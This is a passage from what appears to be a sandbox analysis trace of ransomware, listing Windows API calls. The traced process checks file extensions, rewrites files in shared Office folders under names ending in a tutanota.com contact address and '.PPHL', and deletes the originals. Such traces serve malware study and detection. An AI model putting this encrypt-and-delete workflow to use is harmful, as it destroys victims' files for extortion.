lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=233) returned 1 [0074.958] CloseHandle (hObject=0x1f0) returned 1 [0074.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0074.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.958] lstrlenW (lpString=".doc") returned 4 [0074.958] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0074.958] lstrlenW (lpString=".docx") returned 5 [0074.958] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0074.958] lstrlenW (lpString=".pdf") returned 4 [0074.958] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0074.958] lstrlenW (lpString=".xls") returned 4 [0074.958] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0074.958] lstrlenW (lpString=".xlsx") returned 5 [0074.958] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0074.958] lstrlenW (lpString=".ppt") returned 4 [0074.958] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0074.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.958] lstrlenW (lpString=".zip") returned 4 [0074.958] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0074.958] lstrlenW (lpString=".rar") returned 4 [0074.958] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0074.958] lstrlenW (lpString=".bz2") returned 4 [0074.958] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0074.959] lstrlenW (lpString=".7z") returned 3 [0074.959] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0074.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.959] lstrlenW (lpString=".dbf") returned 4 [0074.959] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0074.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.959] lstrlenW (lpString=".1cd") returned 4 [0074.959] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0074.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.959] lstrlenW (lpString=".jpg") returned 4 [0074.959] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0074.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.959] lstrlenW (lpString=".doc") returned 4 [0074.959] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0074.959] lstrlenW (lpString=".docx") returned 5 [0074.959] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0074.959] lstrlenW (lpString=".pdf") returned 4 [0074.959] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0074.959] lstrlenW (lpString=".xls") returned 4 [0074.959] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0074.959] lstrlenW (lpString=".xlsx") returned 5 [0074.959] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0074.959] lstrlenW (lpString=".ppt") returned 4 [0074.959] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0074.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.959] lstrlenW (lpString=".zip") returned 4 [0074.959] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0074.959] lstrlenW (lpString=".rar") returned 4 [0074.959] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0074.959] lstrlenW (lpString=".bz2") returned 4 [0074.959] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0074.959] lstrlenW (lpString=".7z") returned 3 [0074.960] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0074.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.960] lstrlenW (lpString=".dbf") returned 4 [0074.960] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0074.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.960] lstrlenW (lpString=".1cd") returned 4 [0074.960] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0074.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0074.960] lstrlenW (lpString=".jpg") returned 4 [0074.960] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0074.960] lstrcmpiW (lpString1=".jpg", lpString2=".PPHL") returned -1 [0074.960] lstrlenW (lpString="Roses.jpg") returned 9 [0074.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.961] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1920) returned 1 [0074.961] CloseHandle (hObject=0x1f0) returned 1 [0074.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0074.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0074.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0074.961] lstrlenW (lpString=".doc") returned 4 [0074.961] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.961] lstrlenW (lpString=".docx") returned 5 [0074.961] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0074.961] lstrlenW (lpString=".pdf") returned 4 [0074.961] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.961] lstrlenW (lpString=".xls") returned 4 [0074.961] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.961] lstrlenW (lpString=".xlsx") returned 5 [0074.962] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0074.962] lstrlenW (lpString=".ppt") returned 4 [0074.962] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0074.962] lstrlenW (lpString=".zip") returned 4 [0074.962] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.962] lstrlenW (lpString=".rar") returned 4 [0074.962] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.962] lstrlenW (lpString=".bz2") returned 4 [0074.962] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.962] lstrlenW (lpString=".7z") returned 3 [0074.962] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0074.962] lstrlenW (lpString=".dbf") returned 4 [0074.962] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.970] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.971] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0074.973] GetLastError () returned 0x0 [0074.973] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x621, lpOverlapped=0x0) returned 1 [0074.975] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x630, lpOverlapped=0x0) returned 1 [0074.976] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0074.976] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0074.976] SetEndOfFile (hFile=0x180) returned 1 [0074.976] CloseHandle (hObject=0x180) returned 1 [0074.976] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.976] SetEndOfFile (hFile=0x1f0) returned 1 [0074.977] CloseHandle (hObject=0x1f0) returned 1 [0074.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0074.978] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0074.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.978] lstrlenW (lpString=".doc") returned 4 [0074.978] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.978] lstrlenW (lpString=".docx") returned 5 [0074.978] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0074.978] lstrlenW (lpString=".pdf") returned 4 [0074.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.978] lstrlenW (lpString=".xls") returned 4 [0074.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.978] lstrlenW (lpString=".xlsx") returned 5 [0074.978] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0074.978] lstrlenW (lpString=".ppt") returned 4 [0074.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.978] lstrlenW (lpString=".zip") returned 4 [0074.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.978] lstrlenW (lpString=".rar") returned 4 [0074.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.978] lstrlenW (lpString=".bz2") returned 4 [0074.978] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.978] lstrlenW (lpString=".7z") returned 3 [0074.978] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.979] lstrlenW (lpString=".dbf") returned 4 [0074.979] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.979] lstrlenW (lpString=".1cd") returned 4 [0074.979] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.979] lstrlenW (lpString=".jpg") returned 4 [0074.979] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.979] lstrlenW (lpString=".doc") returned 4 [0074.979] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.979] lstrlenW (lpString=".docx") returned 5 [0074.979] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0074.979] lstrlenW (lpString=".pdf") returned 4 [0074.979] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.979] lstrlenW (lpString=".xls") returned 4 [0074.979] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.979] lstrlenW (lpString=".xlsx") returned 5 [0074.979] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0074.979] lstrlenW (lpString=".ppt") returned 4 [0074.979] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.979] lstrlenW (lpString=".zip") returned 4 [0074.979] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.979] lstrlenW (lpString=".rar") returned 4 [0074.979] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.979] lstrlenW (lpString=".bz2") returned 4 [0074.979] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.979] lstrlenW (lpString=".7z") returned 3 [0074.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.980] lstrlenW (lpString=".dbf") returned 4 [0074.980] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.980] lstrlenW (lpString=".1cd") returned 4 [0074.980] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0074.980] lstrlenW (lpString=".jpg") returned 4 [0074.980] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.980] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0074.980] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0074.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.981] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=25234) returned 1 [0074.981] CloseHandle (hObject=0x1f0) returned 1 [0074.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0074.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.981] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.981] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0074.982] GetLastError () returned 0x0 [0074.982] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x6292, lpOverlapped=0x0) returned 1 [0075.990] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0076.192] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0076.192] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.192] SetEndOfFile (hFile=0x180) returned 1 [0076.192] CloseHandle (hObject=0x180) returned 1 [0076.192] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.193] SetEndOfFile (hFile=0x1f0) returned 1 [0076.193] CloseHandle (hObject=0x1f0) returned 1 [0076.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.194] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0076.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.194] lstrlenW (lpString=".doc") returned 4 [0076.194] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.194] lstrlenW (lpString=".docx") returned 5 [0076.194] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.194] lstrlenW (lpString=".pdf") returned 4 [0076.194] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.194] lstrlenW (lpString=".xls") returned 4 [0076.194] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.194] lstrlenW (lpString=".xlsx") returned 5 [0076.194] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.194] lstrlenW (lpString=".ppt") returned 4 [0076.194] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.194] lstrlenW (lpString=".zip") returned 4 [0076.194] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.194] lstrlenW (lpString=".rar") returned 4 [0076.194] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.195] lstrlenW (lpString=".bz2") returned 4 [0076.195] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.195] lstrlenW (lpString=".7z") returned 3 [0076.195] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.195] lstrlenW (lpString=".dbf") returned 4 [0076.195] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.195] lstrlenW (lpString=".1cd") returned 4 [0076.195] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.195] lstrlenW (lpString=".jpg") returned 4 [0076.195] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.195] lstrlenW (lpString=".doc") returned 4 [0076.195] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.195] lstrlenW (lpString=".docx") returned 5 [0076.195] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.195] lstrlenW (lpString=".pdf") returned 4 [0076.195] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.195] lstrlenW (lpString=".xls") returned 4 [0076.195] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.195] lstrlenW (lpString=".xlsx") returned 5 [0076.195] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.195] lstrlenW (lpString=".ppt") returned 4 [0076.195] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.195] lstrlenW (lpString=".zip") returned 4 [0076.195] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.195] lstrlenW (lpString=".rar") returned 4 [0076.195] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.195] lstrlenW (lpString=".bz2") returned 4 [0076.195] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.196] lstrlenW (lpString=".7z") returned 3 [0076.196] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.196] lstrlenW (lpString=".dbf") returned 4 [0076.196] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.196] lstrlenW (lpString=".1cd") returned 4 [0076.196] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0076.196] lstrlenW (lpString=".jpg") returned 4 [0076.196] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.196] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.196] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.463] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=34916) returned 1 [0076.463] CloseHandle (hObject=0x15c) returned 1 [0076.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0076.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.463] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.465] SetFilePointerEx (in: 